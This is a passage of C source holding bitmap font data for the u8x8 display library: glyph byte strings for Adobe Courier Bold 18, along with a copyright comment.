\"\\1\\0\\0\\0\\0\\0\\0 \\260\\270\\234\\214\\234\\270\\60 \\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\"\n  \"\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\70\\270\\200\\200\\200\\270\\270\\0\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\4\\214\\234\\270\\260\\240\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\200\\200\\240\\260\\270\\34\\14\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0 \\260\\270\\234\\214\\234\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\270\\270\\200\\200\\200\\70\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\6ffv\\274\\274\\230\\270\\370\\354\\314\\214\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377\"\n  \"~\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\200\\200\\240\\260\\30\\30\\270\\260\\260\\230\\10\\0\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\6\\3\\1\\1\\1\\3\\377\\376\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\4\\214\\234\\270\\260\\240\\200\\0\\0\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377\"\n  \"|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\240\\260\\270\\234\\214\\4\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0 \\60\\270\\234\\214\\234\\270\\260 \\0\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377\"\n  \"|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0 \\60\\230\\230\\270\\260\\260\\230\\10\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\270\\200\\200\\200\\270\\270\\0\\0\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377\"\n  \"|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\14\\14\\14\\14\\14\\314\\314\\314\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\200\\300@\\0\\0\\0|\\377\\207\\303a\\61\\31\\15\\207\\303\\377\"\n  \"|\\0\\0\\0\\10\\14\\7\\3\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\200\\200\\204\\214\\34\\70\\60 \\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\"\n  \"\\3\\3\\0\\0\\200\\200\\200\\200 \\60\\70\\34\\214\\204\\200\\200\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\200\\200\\240\\260\\70\\34\\14\\34\\270\\260\\240\\200\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\"\n  \"\\3\\3\\0\\0\\200\\200\\200\\270\\70\\0\\0\\0\\270\\270\\200\\200\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\200\\200\\200\\200\\200 \\60\\270\\234\\214\\204\"\n  \"\\200\\0\\0\\0\\0\\1\\7\\37}\\361\\200\\300\\361}\\37\\7\\1\\0\\0\\0\\0```p}\\177g\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\14\\374\\374\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\307\\203\\1\\1\\1\\203\\307\"\n  \"\\377|\\0\\0\\0``\\177\\177acc\\3\\3\\3\\1\\1\\0\\0\\0\\0\\200\\200\\270\\270\\200\\0\\0\\270\\270\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\1\\7\\37}\\361\\200\\300\\361}\\37\\7\\1\\0\\0\\0\\0```p}\\177g\\1\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 95/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB18_2x3_r[4564] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_r\") = \n  \" ~\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\370\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\277\\277\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\374<\\0<\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\376\\376\\200\\200\\376\\376\\200\"\n  \"\\200\\0\\0\\0\\0\\60\\61\\361\\377\\77\\61\\361\\377\\77\\61\\61\\1\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\17\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\360\\30\\30\\36\\36\\60xx\\0\\0\\0\\0\\0\\0\\0\\341\\343\\303\\206\\206\\206\\206\\314\\374x\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\0\\1\\37\\37\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\230\\10\\10\\230\\360`\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\31\\311\\355\\65\\24\\26\\62\\342\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\2\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\60\\60\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\340\\371\\37\\16\\34\\270\\360\\360\\270\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\1\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\14\\34\\370\\340\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\37\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0``\\300\\300\\374\\374\\300\\300``\\0\\0\\0\\0\\0\\0\\0\\30\\36\\16\\3\\3\\16\\36\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\377\\377\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\30\\36\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\14\\14\\30\\370\\340\\0\\0\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\200\\377\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\34\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0px\\34\\14\\14\\14\\14\\34\\370\\360\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\16\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\60\\70\\34\\14\\14\\14\\14\\234\\370\\360\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\200\\0\\6\\6\\6\\7\\217\\375\\370\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\70\\34\\374\\374\\0\\0\\0\\0\\0\\0\\0\\60<\\77\\63\\60\\60\\60\\377\\377\\60\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\374\\374\\14\\214\\214\\214\\214\\14\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\303\\203\\3\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\70\\30\\34\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\177\\377\\306\\203\\3\\3\\3\\207\\376\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\34\\34\\14\\14\\14\\14\\14\\314\\374<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\30\\14\\14\\14\\14\\30\\370\\360\\0\\0\\0\\0\\0\\0\\370\\375\\217\\6\\6\\6\\6\\217\\375\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\14\\14\\30\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\7\\17\\34\\30\\30\\30\\214\\306\\377\\77\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300`` \\0\\0\\0\\14\\14\\36\\36\\63\\63aa\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\63\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 ``\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300aa\\63\\63\\36\\36\"\n  \"\\14\\14\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\30\\30\\30\\30\\70\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\270\\274\\14\\6\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\370\\30\\14\\14\\214\\230\\370\\340\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\36\\77sa\\177\\177`\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\6\\14\\14\\14\\14\\6\\6\\0\\0\\0\\0\\0\\0\\0\\30\\30\\230\\370xx\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\70\\360\\340\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\6\\6\\7\\217\"\n  \"\\375\\370\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\370\"\n  \"\\370\\0\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\60\\360\\340\\200\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\377\\77\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\230\\230\\30\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\230\\230\\30\\30\\370\\370\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\30\\60\"\n  \"\\370\\370\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\30\\30\\30\\230\\370\\370\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\30\\30\\370\\370\\30\\30\\0\\0\\30\\30\\370\\370\\30\\30\\0\\0\\0\\0\\377\\377\\6\\6\\6\\6\\6\\6\\377\\377\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\30\\30\\30\\30\\370\\370\\30\\30\\30\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\30\\370\\370\\30\\30\\30\\0\\0\\0\\360\\360\\200\\0\\0\\0\\0\\200\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\200\\300\\370x\\70\\30\"\n  \"\\30\\0\\0\\0\\0\\0\\377\\377\\16\\7\\17\\35\\70\\360\\340\\200\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\30\\370\\370\\30\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\30\\370\\370x\\340\\200\\0\\0\\200\\340x\\370\"\n  \"\\370\\30\\0\\0\\0\\377\\377\\0\\3\\7\\34\\34\\7\\3\\0\\377\\377\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\370\\370x\\340\\200\\0\\0\\30\\30\\370\\370\\30\\0\\0\\0\\0\\377\\377\\0\\1\\7\\36x\\340\\200\\377\"\n  \"\\377\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\1\\3\\3\\3\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\60\\360\\340\\0\\0\\0\\0\\0\\377\\377\\30\\30\\30\\30\\30\\30\\14\"\n  \"\\17\\7\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\31\\31\\37\\17\\17\\33\\33\\31\\31\"\n  \"\\14\\14\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\60\\360\\340\\0\\0\\0\\0\\0\\0\\377\\377\\14\\14\\14\\34<\\366\\347\\203\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\340\\360\\70\\30\\30\\30\\30\\30\\60\\370\"\n  \"\\370\\0\\0\\0\\0\\340\\341\\203\\7\\6\\6\\16\\14\\14\\234\\370\\360\\0\\0\\0\\0\\3\\3\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\30\\30\\30\\370\\370\\30\\30\\30\\370\\370\\0\\0\\0\\0\\1\\1\\0\\0\\0\\377\\377\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\30\\370\\370\\30\\30\\0\\0\\0\\30\\30\\370\"\n  \"\\370\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\30x\\370\\230\\30\\0\\0\\0\\0\\30\\230\\370x\\30\\0\\0\\0\\0\\3\\37|\\340\\200\\200\\340|\\37\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\30\\370\\370\\30\\30\\0\\300\\300\\0\\30\\30\\370\"\n  \"\\370\\30\\0\\0\\0\\37\\377\\340\\374\\77\\7\\7\\77\\374\\340\\377\\37\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\30\\70x\\370\\330\\230\\0\\0\\230\\330\\370x\\70\\30\\0\\0\\0\\200\\300\\340q;\\17\\17;q\\340\\300\"\n  \"\\200\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\30\\70x\\370\\330\\30\\0\\0\\30\\330\\370x\"\n  \"\\70\\30\\0\\0\\0\\0\\0\\0\\3\\7\\376\\376\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\30\\30\\30\\30\\230\\330\\370x\\70\\0\\0\\0\\0\\0\\200\\300\\340x<\\16\\7\\3\\0\\340\"\n  \"\\340\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\14\\14\\14\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\60\\60\\60\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\6\\36x\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\36x\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\36\\30\\0\\0\\0\\0\\0\\0\\14\\14\\14\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360<<\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\60\\60\\60\\0\\0\\0\\0\\0\\10\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\14\\14\\374\\374\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\307\\203\\1\\1\\1\\203\\307\"\n  \"\\377|\\0\\0\\0\\3\\3\\3\\3\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\200\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\3\\207\\217\\217\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\214\\14\\374\\374\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\200\\200\\200\\360\\370\\234\\214\\214\\214\\214\\14\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\\1\\1\\0\\0\\0\\0\\1acccccq\\77\\37\"\n  \"\\0\\0\\0\\0\\14\\14\\374\\374\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\7\\3\\1\\1\\1\\3\\377\\376\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\200\\200\\234\\234\\234\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\234\\234\\234\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0`````p\\77\\37\\0\\0\\0\\0\\0\\0\\0\\14\\14\\374\\374\\0\\0\\0\\200\\200\\200\\200\"\n  